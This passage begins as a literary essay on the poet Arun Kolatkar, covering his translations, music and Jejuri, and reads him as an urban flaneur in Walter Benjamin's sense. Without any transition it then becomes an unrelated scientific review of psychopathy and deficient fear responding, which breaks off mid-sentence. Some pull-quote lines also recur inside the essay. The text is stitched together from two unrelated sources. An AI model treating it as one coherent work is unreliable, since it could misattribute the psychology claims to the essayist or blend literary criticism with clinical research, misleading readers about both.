peepul leaves between my teeth.
There I sold my Tukaram
to buy some bread and mince. (Kolatkar's translation)
He was writing extraordinary Marathi poems, about the extremities of urban and psychological experience, which seem to be the product of a social outcast who's been dabbling in mind-altering drugs while reading up on Surrealism, William Burroughs, Dashiell Hammett, Indian mythology, and Marathi devotional poets like Tukaram. The last of these was a real enthusiasm, and Kolatkar was translating, into English, the medieval poet's rather prickly, belligerent hymns to God. These were as much translation as occasionally tough-guy reworkings of some of the songs; an unsettling form of ventriloquising. Machismo seemed to have interested him; not only its aura of power, but its disorienting humour. The proximity between the disreputable, the culpable, and the religious—a living strand in Indian devotional culture, and an everyday reality in places like Banaras and Jejuri—becomes, in the act of translation, an aesthetic:
It was a case
Of God rob God.
No cleaner job
Was ever done. God left God
Without a bean.
God left no trace
No nail no track. The thief was lying
Low in His flat.
When he moved
He moved fast. Tuka says:
Nobody was
Nowhere. None
Was plundered
And lost nothing.
And so some of his own 'Marathi' poems of the Fifties and Sixties are written in the Bombay argot of the migrant working classes and the underworld, part Hindi, part Marathi, which the Hindi film industry would make proper use of only decades later. These poems he then often translated into an Americanese which, at the time, would have made respectable Americans blush, 'maderchod' rendered, for instance, as 'motherfucker'. Bombay, in the Sixties, gave him these languages and also the passages of transition between these worlds, the movement from street to library to cinema hall.
In the early Seventies, he began to compose his peculiar and compelling versions of rock music. He recorded a demo of four songs with a group of local musicians in a studio in 1973; he was forty one years old.
There was also, at this time, a musical transformation, a musical moment. Kolatkar had learnt Western musical notation. He'd also taken lessons in playing the pakhawaj, the venerable Indian drum that predates the tabla; in the early Seventies, he began to compose his peculiar and compelling versions of rock music. He recorded a demo of four songs with a group of local musicians in a studio in 1973; he was forty one years old. Though nothing came of that experiment, it sounds now, more than ever, like groundbreaking, astonishing stuff. The first song, 'I am a poor man from a poor land', has an ananda-lahari—one of the instruments played by Baul singers, mendicant devotees of Krishna, in Bengal—in the background. The first line is something Kolatkar read on a piece of paper of the sort that the semi-educated beggar in India used to hand out to people, often stating his profession and including a message in English, perhaps to keep some of his dignity intact. In the foreground is Kolatkar's scolding but very musical vocalising; a spin-off on the beggar's plea that becomes a demand to the consumer, the singer asking his listener to pay up for his 'damn' good song'.The genre, here and in the other songs, is metropolitan and immediate and hybrid; inescapably but complicatedly 'Indian', without any of the sentimental assumptions of 'world music'. It's a style that hasn't occurred before or since. As in Jejuri, the devotional is inserted forcefully into the economic, where it always resided anyway in India, into the bread-and-butter transaction, the duty and slightly disreputable compulsion to earn a living.
S ome time after the demo, Kolatkar, in December 1973, began to write Jejuri. The impetus was provided by the twenty-six-year-old Arvind Krishna Mehortra, who'd just returned to India from the University of Iowa's International Writing Program, and had been asked by its director, Paul Engle, if he'd compile an anthology of Indian poetry for the program's anthology series. Mehrotra asked Kolatkar if he had a suitable poem for the compilation. It was now that Kolatkar got down to writing the poem. Amazingly, he'd written a version before, from which a single poem, 'A Low Temple', had been published in a little magazine of the mid-Sixties in Bombay, Dionysius. The editor lost the manuscript; there was no copy. Kolatkar finished this sequence, with all its immediacy, a few months later after he began it, in early 1974, and sent it to Mehrotra; though the compilation was never completed, the entire poem was published that year in the Opinion Literary Quarterly.
This wasn't the first time Kolatkar had published a poem-sequence in English (few poets have cultivated the sequence as Kolatkar did); in 1968, 'the boatride' had appeared in Mehrotra's little magazine, damn you/ a magazine of the arts. With this poem—an arresting record of a steamer-ride taken from the Gateway of India—Kolatkar had announced what his metier would largely be as an English poet: the urban everyday, or a view of the material universe informed deeply by it. The banishment of capital letters, the treasuring of the concrete: these features of 'the boatride', as well as of the magazine it was published in, alert us, again, to the presence of the Americans—e. e. cummings, William Carlos Williams, Marianne Moore, the 'Beat' poets. A generation of Indian poets in English (AK Ramanujan, Mehrotra, Kolatkar) had turned to the idiosyncratic language, and the capacity for eye-level attentiveness, of American poetry to create yet another mongrel Indian diction—to reorder familiar experience, and to fashion a demotic that escaped the echoes of both Queen's English and the sonorous effusions of Sri Aurobindo's Savitri and the poorly-translated but ubiquitous Gitanjali of Tagore; to bypass, as it were, the expectations that terms like 'English literature' and 'Indian culture' raised.
Jejuri is, on its most obvious level (and a very rich level that is, in terms of realism, observation, irony), an account of a man who arrives at the pilgrimage town on a 'state transport bus', in the company of people whose intent is clearly more devotional than his is, and has less to do with a seemingly unfathomable curiosity. They seem to, thus, reproach him by their opacity, their inaccessibility, their very presence:
Your own divided face in a pair of glasses
on an old man's nose
is all the countryside you get to see.
The rest of the poem is about the narrator's idiosyncratic reading of the place; Jejuri, which seems to him a mixture of temples in disrepair, unreliable priests, and legends and religious practices of dubious provenance, nevertheless excites him oddly, though not to worship, but to a state akin to it but also quite unlike it.
He leaves later on a train from the railway station, still, evidently, in a state of confusion over what's secular and what miraculous:
a wooden saint
in need of plaster…
the indicator
has turned inward
ten times over.
The typographical flourish in the penultimate poem, in, and through, which the narrator records the experience of witnessing cocks and hens dancing in a field on the way to the station, is the closest the poem comes to imitating a religious ecstasy and abandon, on the brink where both irony and the verbal are obliterated.
In December 1973, he began to write Jejuri. The impetus was provided by the twenty-six-year-old Arvind Krishna Mehortra, who’d just returned to India from the University of Iowa’s International Writing Program
Jejuri was received with unusual enthusiasm by the standards of poetry publishing in Anglophone India; the book was reprinted twice at short intervals, and then twice again at longer ones. The critical response, by any standards, was unremarkable and intermittent. One of the reasons was that the poem, like its author, was resistant to being pigeonholed into quasi-religious categories; in response to an interviewer asking him, in 1978, if he believed in God, Kolatkar had said: 'I leave the question alone. I don't think I have to take a position about God one way or the other.' This discomfort with the either/or lies at the heart of the poem. Most of the Marathi critics opted, conveniently, for simplification and chauvinism. The novelist and critic Balachandra Nemade's response, in a 1985 essay, is characteristic: 'Kolatkar comes and goes like a weekend tourist from Bombay.' There was, of course, the occasionally sensitive retrospective reappraisal, of which Bruce King's chapter on Kolatkar in Modern Poetry in English is an example; but the poem was to receive, decisively, a fresh lease of life, and the oxygen of good criticism, from Mehrotra in his anthology, The Oxford India Anthology of Twelve Modern Poets. Sixteen years after the poem had first appeared, Mehrotra seemed to be in no doubt about the its place in the canon of Indian poetry in English: 'among the finest single poems written in India in the last forty years'. The religious question he settled robustly and acutely, if, perhaps, temporarily: 'The presiding deity of Jejuri is not Khandoba, but the human eye.'
I 've said that, in the larger, unfolding story of the independent nation, writing poetry in English
I’m not setting up a crude opposition between the two writers here; Kolatkar admired Rushdie’s novel, as Rushdie does Kolatkar’s work.
was a minor, marginal, and occasionally controversial activity. This remained so in spite of Nissim Ezekiel's attempts to invest the enterprise with seriousness, to stir Anglophone readers as well as writers in the vernaculars, both of whom were busy with more important projects, to see it as something more than, at best, a genteel and harmless preoccupation; at worst, as a waste of time, even a betrayal. Ezekel defied this combination of indifference and moral and nationalistic chauvinism with a critical puritanism, and had a small measure of success. But marginal endeavours have their own excitements, disappointments, and dangers. Among the excitements was the creation, in 1976, of Clearing House, brought into being by Jussawalla, Mehrotra, Kolatkar and Gieve Patel to publish, in the first instance, their own poetry. Like the writing of the poetry itself, the publishing venture was undertaken as things are in sub-cultures: with love, as a semi-private affair, partly for the eyes of other poets and fellow travellers. Books were supplied to a handful of bookshops, and also on the basis of 'subscriptions'; that is, orders from friends and supporters. The four titles published that year were Patel's How Do you Withstand, Body; Jussawalla's Missing Person; Mehrotra's Nine Enclosures; and Jejuri. Kolatkar had designed the covers, and chosen the typeface, turning the books—again, this is something we associate with sub-cultures rather than mass markets—into objets d'art.
But, along with their passion and enterprise, sub-cultures are also characterised by disabling forms of self-doubt that often express themselves as doubts about the larger world. In the case of the poets I've just mentioned, this took the form of a wariness about committing words to paper, or the written word to print, or the printed word to wider circulation. This is not writer's block, but a strategic and partial withdrawal from the world; at its best, writing for a handful of readers, some of them friends, entailed a greater sense of responsibility, of judiciousness, about the task of writing. In Kolatkar's case, it meant that he wrote steadily after Jejuri (as he had before its publication), in both English and Marathi, but published only very sporadically in journals. Two collections of his Marathi poetry appeared in 2003; but the English works, the Kala Ghoda Poems and the political/mythological fable in verse Sarpa Satra, would see the light of day only after he knew he was dying. The book launches of his final works were, bizarrely, events surrounding a dying man who, on the evidence of his poetry, was still possessed by the youthfulness of the Sixties: both celebration, then, and premature memorial.
W hen I first met Kolatkar in 2000, Bombay had already become Mumbai, and the Hindu chauvinist parties, the Shiv Sena and the BJP, were at their most active and aggressive in the city—perhaps in prescient nervousness at an election defeat later that year. Bombay was trying to rebuild its old cosmopolitanism and sense of personal and physical freedom, its delight in the wayward and the aleatory, after more than a decade of religious and economic divisiveness, and from having become the commercial capital of a globalised India. My trip coincided with Valentine's Day, and it re-emphasised the different, exacerbated, poles of 'Mumbai'. On the one hand, the Valentine's Day industry had reached a new zenith, and well-to-do teenagers were wandering about in an ingenuous swoon of love; on the other, Shiv Sena cadres were vandalising shops selling the day's paraphernalia, and, in a ritual meant to attract the media, burning Valentine's Day cards. The distance between this moral policing and the xenophobia that animated Shiv Sena slogans like 'Mumbai for Mumbaikars', where 'Mumbaikar' really meant Maharashtrian Hindus, was frighteningly small.
I am suggesting that there is another lineage and avenue in Indian writing in English than the one Midnight’s Children opened up, along with an obsession with the monumental; and its source lies in Jejuri.
The Shiv Sena, which started as a Marathi chauvinist organisation under the leadership of Bal Thackeray, a cartoonist and admirer of Hitler, reinvented itself as a Hindu chauvinist one and came to power in Maharashtra in1995 in an alliance with the BJP, and soon changed the name of its capital city to Mumbai. Both parties had taken advantage of a moral vacuum in secular politics at the time, as well as a new state of polarisation that had been building up between Hindus and Muslims. This polarisation was confirmed with the destruction of the Babri mosque in Ayodhya by BJP extremists in December 1992. Bombay bore the imprint of these events; in the riots and violence in early 1993, and then the series of explosions in March that year. It also bore the most visible imprint anywhere in India of the economic 'liberalisation' that took place in 1991; the troubled city was booming, and growing beyond recognition. What was once outskirt or hinterland was now integrated into the city's teeming, self-generating expansion.
When I reread Jejuri now I realise how important the modern metropolis—the city as it was before globalisation—with its secret openings and avenues, its pockets of daydreaming, idling, and loitering, its loucheness, is fundamental to Kolatkar as a way of seeing, as a means of renovating experience.For no other Indian poet in English, and for few other writers, is Walter Benjamin's flaneur an analogue for receptivity and creativity as he is for Kolatkar, in a way, and in contexts and situations, that perhaps Benjamin wouldn't have been able to imagine. What the German writer (whom Kolatkar wouldn't have read) discovered in Paris, and imagined his flaneur came upon in the 19th-century Parisian boulevards and arcades, Kolatkar did in Kala Ghoda—not only a range of details and particulars, but a restructuring of the way we experience them. Hannah Arendt, in her revealing commentary on Benjamin, notes how the line that divides interior from exterior, domestic from public space, even the 'natural' from the urban and manufactured, is dimmed and blurred constantly for the flaneur; he loiters about on the street, inspecting its everyday marvels (or what to him is marvellous), as if it were an extension of his drawing room. Even the sky in Paris, says Arendt, took on, for the flaneur, the artificial appearance of a great ceiling.
When I think of Kolatkar by his window in the Wayside Inn, looking out, for decades, on families of pavement dwellers and itinerant workers bathing themselves, eating, and raising their children before the Jehangir Art Gallery, I'm reminded of that indeterminate space, where the street turns into an interior, and which complicates the urban boundary separating room from pavement that's so crucial to the flaneur's experience of reality. For Kolatkar, in his personal life, what was dwelling and what place of transit was at times almost interchangeable. During some of his most successful years, Kolatkar and his wife were 'paying guests'—that is, lodgers—in one of Bombay's most expensive areas; they then moved to a single-room, book-lined apartment in Prabhadevi, a fairly middle-class location that's not anywhere near the centre of the city. Notwithstanding a very happy domestic life, and the fact that he wrote productively in his tiny flat, he did spend a great deal of time, sometimes breakfast onward, at the Inn, at the confluence of public and street life and private reverie.
I am reminded of these things as I reread Jejuri; that, although it's about a journey to a remote (for many) pilgrimage town in Maharashtra, it's less about the transformations of the journey than about a man who never left the city, or downtown, or a cosmopolitan, modernist idea of the metropolis; that his journey, and his sense of travelling and of wonder, brought him back to where he was—and where he was is metropolitan, shabby, and dislocating. And so, in the third poem itself, the four-line 'The Doorstep', the newcomer to the pilgrimage town speaks in the voice of the flaneur, for whom the line dividing public from private space is never final; the title names an object, a threshold, while the first two lines retract that meaning: 'That's no doorstep./ That's a pillar on its side.' The flaneur stops, starts, pauses again, ponders, constantly struck by the unremarkable object that the city's passers-by don't notice. Things, thresholds, buildings that have either fallen out of use or look like they have, that disturb and ironicise the logic and flow of capital (and, in independent India, Bombay has been as much the centre of expanding capitalism as Paris was in France in the 19th century)—this is what he's besotted with. So, in Jejuri, part network of shrines, part downtown, he's transfixed by the journey of a 'conduit pipe' around a wall; with a broken door that's leaning against an 'old doorway to sober up/ like the local drunk'; with the invitation to what seems to be 'another temple'—'The door was open'—but turns out to be 'just a cowshed'.
Benjamin discovered, on his first visit to Paris in 1913, that the houses that formed the Parisian boulevards 'do not seem to be made to be lived in, but are like stone sets for people to walk between'; in other words, architecture and buildings—the locations of life and livelihood—become a sort of theatre, but a theatre that's only available to the loiterer. Similarly, the temple that becomes a cowshed; the slightly off-kilter construction and vision of the concluding lines of 'Heart of Ruin', 'No more a place of worship this place/ is nothing less than the house of god'; the theatrical gap between assertion and reality that was enacted in 'A Doorstep' and recurs in 'A Low Temple': 'Who was that, you ask./ The eight-arm goddess, the priest replies./… But she has eighteen, you protest.' This is the moment of theatre that neither the pilgrim at the holy shrine nor the ordinary city dweller can see. Both invest their surroundings with certain unalterable meanings; and it's these unalterable meanings that make the flaneur's drama and his irony, as well his odd sense of wonder, possible. The difference between the pilgrim—or, for that matter, the office-goer—and the flaneur is the latter's passionate disengagement; he doesn't rush toward a site hallowed by authority or tradition, he gravitates towards, hovers, steps back, idles, stands outside, dawdles. So, in 'A Low Temple', after his experience with the 'eight-arm goddess', the narrator 'come[s] out into the sun and light[s] a charminar': the 'charminar' being a cheap filtreless cigarette once popular with the artistic fraternity. In another poem, 'Makarand', the narrator, invited to offer prayers inside a temple, replies, 'No thanks.' He has both a flaneur's democratic generosity and his curious at-homeness in thresholds and spaces that have no clear function, rather than in interiors that have designated uses: 'you go right ahead/ if that's what you want to do,' he reassures his companion, while confessing, 'I will be out in the courtyard/ where no one will mind/ if I smoke'.
The junk of the urban everyday—a stained doorknob, a disused threshold, a tile—fills the flaneur with momentary excitement and adoration; these random items seem to possess a mystery that derives from being part of a larger narrative, an unspoken theology or mythology. The objects the flaneur lights upon in streets, by-lanes, alleys, have, for him, an aura, an air of sacredness, that's almost religious. Kolatkar's metaphor for urban junk transformed by a small abrasion into something significant, or poetic, is, in Jejuri, the simple stone or rock—like junk, entirely useless—which is changed by a mark into a holy object. So, in 'The Horseshoe Shrine', the 'nick in the rock/ is really a kick in the side of the hill', where the hoof of Khandoba's horse struck it 'like a thunderbolt' as he rode with his wife 'across the valley', like a spark 'fleeing from flint'. The astonishing translation of urban junk into the realm of the modern imagination is what informs these famous lines from 'A Scratch': 'scratch a rock/ and a legend springs'; it is this process of translation and refashioning, and not devotion, that makes Yeshwant Rao—'a second class god' whose place 'is just outside the main temple', a 'mass of basalt,/ bright as any post box,/ the shape of protoplasm/ or a king size lava pie'—an object of the poet's wry wonder. The religious is implicit in the transitory objects that Benjamin's flaneur discovers, hoards, and cherishes in the city; Kolatkar reworks and inverts this casually, but profoundly, in Jejuri—in his poem, a religious landscape is pregnant with the implications, the wonders, of the urban.
In 'Heart of Ruin' (which describes how a temple to the god Maruti is now inhabited by a 'mongrel bitch' and her puppies), there are lines—'The bitch looks at you guardedly/ past a doorway cluttered with broken tiles'; 'The black eared puppy has gone a little too far./ A tile clicks under its foot.'—which lead us directly to a moment and to the exposition of a certain sensibility in Benjamin's 'The Return of the Flaneur'. This essay, written in 1929, became available too late in the day to the Anglophone world for Kolatkar to have read it in the early Seventies, but the concordances in imagery and in sentiment are startling. Benjamin asks us why the flaneur is 'the creation of Paris', and not Rome, despite the latter's various landmarks and monuments. He quickly concludes Rome is 'too full of temples, enclosed squares, and national shrines to be able to enter undivided into the dreams of the passer-by'.
The great reminiscences, the historical frissons—these are all so much junk to the flaneur, who is happy to leave them to the tourist. And he would be happy to trade all his knowledge of artists' quarters, birthplaces, and princely palaces for the scent of a single weathered threshold or the touch of a single tile—that which any old dog carries away.
The inversion in Benjamin, where history and its imperial monuments (for which 'Rome' is a metaphor) becomes 'so much junk', and junk, like the tile that 'any old dog' might carry away, is aggrandised and magnified—this inversion is especially true of the Kolatkar of Jejuri (where the puppies and the loose tile in the temple supersede the importance of the temple, the monument, itself) and the Kala Ghoda Poems. The latter, indeed, abounds in images of junk; of the spokes and wheels that the children of pavement-dwellers recycle for their own recreation. Benjamin's notion of flanerie is crucial to our understanding of Kolatkar's poetics, and also of his position in the narrative of Indian writing in English.
Emotion is the major driver of all human and animal behavior, including social behavior—it is emotion that literally moves us to seek or escape positive and negative consequences (LeDoux, 2012). Many unanswered questions remain about the nature of human emotion and are the topic of vibrant ongoing debates: are different emotions qualitatively distinct, emerging from separable neurobiological processes, or can emotions be more accurately described dimensionally in terms of arousal and valence (Russell and Barrett, 1999; Barrett et al., 2007; Izard, 2007; Panksepp, 2007; LeDoux, 2012)? If distinct neurobiological events contribute to the generation of different emotions, which brain structures are most relevant to the emergence of these emotions (Panksepp, 2007; Vytal and Hamann, 2010; Lindquist et al., 2012)? And finally, how do emotions we experience pertain to our perceptions of and responses to emotions in others (Zahavi, 2008; Heberlein and Atkinson, 2009)? Answering these questions about human emotion presents a variety of challenges. Unlike the study of some other human cognitive processes, the study of emotion benefits from the now widely accepted fact that humans and non-human animals share many emotional processes, enabling more, and more diverse study paradigms on emotion (Panksepp, 2007; Panksepp and Lahvis, 2011; LeDoux, 2012). A benefit of studying non-human animals is that they enable critical experimental manipulations to be performed, such as environmental manipulations that cause intense, ecologically valid experiences like fear, and manipulations of subcortical brain structures involved in emotion, such as permanent or temporary lesions or genetic manipulations. Gray and McNaughton argue that such techniques are essential for drawing causal inferences about some emotional processes (Gray and McNaughton, 2000). However, animals can provide little information relevant other critical features of emotion, such as information about subjective experiences. Research in humans can target subjective experience, but, conversely, many critical experimental manipulations of emotion are not feasible or ethical to perform in humans, such as intense, ecologically valid environmental manipulations or lesions to subcortical structures. One means of circumventing this conundrum is to conduct research in individuals affected by pathologies that provide “natural experiments” in which emotional processes are altered, enabling identification of the downstream effects. One example is the use of case studies of individuals with lesions to specific brain regions as a result of disease, injury, or surgical intervention, such as the orbitofrontal cortex (Hornak et al., 2004), insula (Phillips et al., 1997), or amygdala (Feinstein et al., 2011). Such cases can yield rich and detailed evidence about the emotional processes subserved by the damaged region. The downside is that individuals in whom lesions are neuroanatomically specific enough to yield meaningful evidence are rare. Thus, few researchers have access to these patients, and the possibility persists that certain response patterns result from patient-specific idiosyncrasies unrelated to the lesion. In addition, most brain lesions occur in late adolescence or adulthood, precluding an understanding of the developmental consequences of lesions to structures like the amygdala, damage to which may result in distinct behavioral outcomes in adulthood relative to infancy (Amaral, 2003). An alternative to lesion-based case studies is the study of populations of patients affected by psychopathologies known to affect specific neurocognitive systems. Psychopathy, a cluster of behavior tendencies and personality traits associated with callousness and antisocial behavior, is one such form of psychopathology (Hare, 1993; Blair et al., 2006; Skeem et al., 2011). Evidence is accumulating to suggest impairments in the systems and processes supporting fear responding in psychopathy, leaving other systems largely intact (Lilienfeld et al., 2012; Patrick et al., 2012; Rothemund et al., 2012). Psychopathy may therefore be a useful empirical tool for understanding the nature of fear and perhaps emotion more broadly. In this review, I will consider how understanding psychopathy can shed light on the three questions outline above: (1) Are emotions discrete, qualitatively distinct phenomena or quantitatively varying phenomena best described in terms of dimensions like arousal and valence? (2) What are the brain structures involved in generating specific emotions like fear, if any? And (3) how do our own experiences of emotion pertain to our perceptions of and responses to others' emotion?
Psychopathy Psychopathy is a disorder that is generally viewed as the confluence of core personality characteristics plus antisocial behavioral tendencies, and which, in its extreme form, affects 1–2% of the general population and as many as 50% of violent offenders (Hare, 1993; Rutter, 2012). The core personality features associated with psychopathy are callous and unemotional personality traits, which include a lack of empathy or remorse, weak social bonds, an uncaring nature, and shallow emotional responding (Cooke et al., 2005; Frick and White, 2008; Viding and McCrory, 2012). The antisocial behavior tendencies that tend to accompany these traits include poor control of anger, impulsiveness, irresponsibility, and a parasitic orientation toward others (Frick and Ellis, 1999). These factors are generally positively related, such that higher levels of callous and unemotional personality traits predict increased antisocial behavior (Viding et al., 2007; Kahn et al., 2013). The presence of psychopathic traits are particularly strong predictors of aggression that serves an instrumental goal, such as bullying, sexual violence, or assault during the course of a robbery (Blair, 2001; Woodworth and Porter, 2002). Debates persist as to whether the features of psychopathy are best classified using various two-, three-, and four-factor models that have been proposed (Jones et al., 2006; Skeem et al., 2011), and whether criminal or aggressive behavior is an essential part of the psychopathy construct (Hare and Neumann, 2010; Skeem and Cooke, 2010), however, the basic features that compose the construct of psychopathy are generally agreed upon. Psychopathy is not a clinical diagnosis in the Diagnostic and Statistical Manual (DSM-IV-TR), although features of psychopathy are incorporated into the Axis II diagnosis Antisocial Personality Disorder (Lynam and Vachon, 2012). Various suggestions for updating the DSM 5 to reflect current conceptualizations of psychopathy in adults and children have been proposed (Frick and Moffitt, 2010; Skodol et al., 2011). That said, emerging evidence suggests that psychopathy is not taxonomic in structure. As is the case for traits that comprise other forms of mental illness (Markon et al., 2011), psychopathic traits appear to be continuously distributed in the population and can be most reliably and validly assessed when treated as a continuous rather than a discrete measure (Edens et al., 2006; Guay et al., 2007; Kotov et al., 2011). This is important because it suggests that information about psychopathy can be drawn from both clinically diagnosed samples and community samples (Malterer et al., 2010). Psychopathy affects both children and adults. Markers of psychopathy may emerge early in childhood (Glenn et al., 2007; Wang et al., 2012), are moderately reliable predictors of adult psychopathy (Lynam et al., 2008), and the core affective features of psychopathy appear to be highly heritable (Larsson et al., 2006). The heritability coefficient of the core callous and unemotional features has been estimated to be at least 0.43 (Larsson et al., 2006) and as high as 0.71 (Viding et al., 2005, 2008). An individual's risk for engaging in antisocial behavior during childhood or adulthood can be increased by any number of life history events, including trauma exposure, low socioeconomic status, or delinquent peer groups (Lynam et al., 2008), but these factors do not seem to precipitate the emergence of psychopathic traits in children (often termed callous-unemotional traits). In fact, callous-unemotional traits may paradoxically serve as a protective factor against parental maltreatment: among children with callous-unemotional traits, there is little correspondence between the quality of parenting that children receive and the severity of their antisocial behavior problems (Wootton et al., 1997). Instead it appears that life stressors that result in heightened stress responding represent a distinct etiological route toward antisocial behavior (Blair, 2001). Among children without high levels of callous-unemotional traits, parental maltreatment is associated with increased antisocial behavior (Wootton et al., 1997). In addition, antisocial behavior in the absence of callous-unemotional traits does not appear to be highly heritable, supporting the role of environmental stressors in leading to antisocial behavior in the absence of callous-unemotional traits (Viding et al., 2005, 2008).
Psychopathy and fear responding From the earliest formal clinical descriptions of psychopathy, the construct has been linked to deficient fear responding. Most modern conceptualizations of psychopathy are based on the work of Cleckley (1988), whose compiled observations of institutionalized psychopaths are described in The Mask of Sanity. He distinguishes psychopaths from other psychiatric patients as typically free from delusions or irrational thinking, suicidality, or other self-harm tendencies, and, in particular, from anxiety or fear. The second criterion Cleckley specifies for identifying psychopathy is an, “Absence of nervousness or psychoneurotic manifestations,” and he describes the prototypical psychopath as “incapable of anxiety” (p. 340) showing “immunity from … anxiety or worry” (p. 339), and being “free from … nervousness” (p. 339). Although Cleckley's descriptions of psychopathy reflect a psychodynamic orientation, his observations are consistent with more recent experimental data assessing fear responding in psychopathy. A focus on fear responding emerged from the observation that psychopathic offenders are particularly likely to re-offend, suggesting that the threat of future punishments is not sufficiently motivating for them (Corrado et al., 2004; Hare, 2006). Fear is, in essence, the state that accompanies the anticipation of an aversive outcome (i.e., punishment) and promotes avoidance and escape behaviors (Stein and Jewett, 1986; Panksepp, 1998; LeDoux, 2000). Fear being the emotion that promotes avoidance of behaviors that result in punishment (LeDoux, 2003), it is ostensibly is the mechanism by which punishing criminal behavior serves to deter it. Early hypotheses proposed that dysfunctional fear responding renders psychopaths less likely to avoid engaging in criminal behaviors that result in punishments like imprisonment, and were supported by laboratory findings that psychopaths are less likely to modulate their behavior in response to anticipated punishments ranging from electrical shock to loss of points in a computer game (Lykken, 1957; Hare, 1966; Newman and Kosson, 1986; Blair et al., 2004). Abundant psychophysiological research supports the notion that psychopaths' responses to the threat of an aversive outcome are muted. Psychopathy impairs anticipatory skin-conductance responses (Lykken, 1957; Aniskiewicz, 1979; Herpertz et al., 2001; Birbaumer et al., 2005; Rothemund et al., 2012), fear-potentiated startle responses (Patrick et al., 1993; Levenston et al., 2000; Herpertz et al., 2001; Rothemund et al., 2012), and contraction of the corrugator muscle underlying the brows (Herpertz et al., 2001; Rothemund et al., 2012) during threat anticipation. Psychopathy also impairs aversive classical conditioning (Flor et al., 2002) as well as other fear-relevant responses such as the recognition of fear from the face, body, and voice (Marsh and Blair, 2008; Dawel et al., 2012). These differences are particularly evident for psychopathic offenders characterized as “primary” psychopaths who exhibit the core callous and unemotional personality features of the disorder (Lykken, 1957; Aniskiewicz, 1979; Dawel et al., 2012). This is in contrast to “secondary” psychopaths, in whom antisocial behavior may primarily reflect social disadvantage or maltreatment and who may present with increased anxiety (Newman et al., 2005; Kimonis et al., 2012). Finally, both anecdotal reports and empirical evidence indicate that subjective experiences of fear are reduced in psychopathy. In Without Conscience (Hare, 1993), Hare describes an interview with a psychopathic offender who seemingly fails to understand the fundamental nature of fear: Another psychopath … said that he did not really understand what others meant by “fear.” However, “When I rob a bank,” he said, “I notice that the teller shakes or becomes tongue-tied. One barfed all over the money. She must have been pretty messed up inside, but I don't know why. If someone pointed a gun at me, I guess I'd be afraid but I wouldn't throw up.” When asked to describe how he would feel in such a situation, his reply contained no references to body sensations. He said things such as, “I'd give you the money”; “I'd think of ways to get the drop on you”; “I'd try and get my ass out of there.” When asked how he would feel, not what he would think or do, he seemed perplexed. Asked if he ever felt his heart pound or his stomach churn, he replied, “Of course! I'm not a robot. I really get pumped up when I have sex or when I get into a fight” (pp. 53–54). Also supporting reduced subjective experience of fear in psychopathy are the results of a recent study in which adolescents with psychopathic traits and healthy controls underwent an autobiographical recall paradigm adapted from a task developed to measure subjective experiences of emotion across cultures (Scherer and Wallbott, 1994). In the task, participants described recent emotionally evocative events and their subjective responses during these events. This paradigm has the advantage of using a single measure to assess responses to five emotional states. Relative to controls, adolescents with psychopathic traits reported reduced symptoms of sympathetic nervous system activation, such as changes in breathing or muscle tension, during fear-evoking events, even though judges rated the psychopathic adolescents' descriptions of the fear-evoking events as no less inherently frightening than the events reported by controls. In addition, psychopathic adolescents reported that in daily life they experience fear less often and less intensely than did controls (Marsh et al., 2011). Two adolescents with psychopathic traits in this study reported never having felt fear, an experience not reported by any of the healthy adolescents. In keeping with this pattern, many contemporary assessments of psychopathy specifically index items related to reduced anxiety and fearfulness. These measures include the Triarchic Psychopathy Measure, e.g., “I'm afraid of far fewer things than most people” (Patrick, 2010); the Youth Psychopathy Inventory e.g., “What scares others usually doesn't scare me” (Andershed et al., 2002); and the Psychopathic Personality Inventory, e.g., “I can remain calm in situations that would make many other people panic” (Lilienfeld and Andrews, 1996). Researchers who use psychopathy measures that do not explicitly include anxiety and fear-relevant items often supplement the scale with anxiety measures or clinical assessments of anxiety disorders (Sutton et al., 2002; Finger et al., 2008; Malterer et al., 2008; Marsh et al., 2008; Kimonis et al., 2012; Koenigs et al., 2012). In contrast to fear, other forms of emotional responding in psychopathy appear to be spared. The clearest example is anger, which appears intact and perhaps enhanced in psychopathy. Anger can be defined as the high arousal state that follows frustration or perceived threat and, behaviorally, is closely linked to aggression against the source of frustration or threat (Blair, 2012). Elevated anger responding is intrinsic to many descriptions of psychopathy. Both Cleckley and Hare's case studies include numerous descriptions of psychopaths whose misbehavior included frequent temper tantrums and rage-induced aggression. And contemporary measures of psychopathy universally feature items that index frequent, heightened, or undercontrolled displays and experiences of anger. These measures include the youth and adult variants of the Psychopathy Checklist, e.g., “Poor anger control” (Forth et al., 2003); the Antisocial Processes Screening Device, e.g., “Becomes angry when corrected or punished” (Frick and Hare, 2001); the Levenson Self-Report Psychopathy Scale, e.g., “When I get frustrated, I often ‘let off steam’ by blowing my top” (Levenson et al., 1995), and the Psychopathic Personality Inventory, e.g., “From time to time I really ‘blow up’ at other people” (Lilienfeld and Andrews, 1996). That these criteria are positively correlated with the overall construct reinforces the positive relationship between psychopathy and anger experiences. In psychopathy, anger is most likely to result from goal frustration rather than perceived threat (Blair, 2012), although it should be noted that considerably less empirical research has assessed anger responding in psychopathy compared to fear. That said, three recent studies have found psychopathy to be associated with intact or heightened anger responding both physiologically and subjectively. Hicks and Patrick (2006) evaluated angry responding using a series of self-report scales and found elevated anger responding in psychopathy, with closer associations found between angry responding and the antisocial behavior subscale. In a similar vein, Blackburn and Lee-Evans (2011) found that psychopathic participants anticipated that they would respond with greater anger than non-psychopaths to a variety of anger-inducing scenarios. Lobbestael et al. (2009) performed an anger induction task in individuals with Antisocial Personality Disorder (who varied in psychopathic traits), Borderline Personality Disorder and controls. The induction task entailed recalling a situation in which subjects had experienced a conflict with another person and had felt very angry, after which subjects spent several minutes recalling the details of the event. Results indicated that neither total psychopathy scores nor callous and unemotional personality trait scores among individuals with antisocial personality disorder were predictive of physiological changes during the anger induction task, suggesting an intact anger response. Other studies have found no group differences in responses linked to anger, such as the study assessing subjective experiences of emotion in psychopathic adolescents and controls (Marsh et al., 2011), and the results of two meta-analyses assessing the recognition of anger from the face, body, or voice (Marsh and Blair, 2008; Dawel et al., 2012). A second emotional state that appears to be intact in psychopathy is positive excitement. This state can be distinguished from happiness, which is more closely associated with goal attainment, as the state that accompanies the anticipation of an appetitive outcome (i.e., reward) and promotes acquisition or achievement of the reward—a state that is in some ways a mirror image of fear and that has been alternately termed wanting, seeking, or interest (Berridge et al., 2009). The quotation from the incarcerated psychopath above is suggestive of the presence of positive excitement in psychopathy, and is consistent with clinical observations and empirical data that psychopaths are positively motivated by the prospect of reward, particularly near-term reward. Cleckley's criteria include several items that describe unrestrained goal-seeking in the context of money, sexual gratification, and other rewards (Cleckley, 1988). And, as is true for anger, 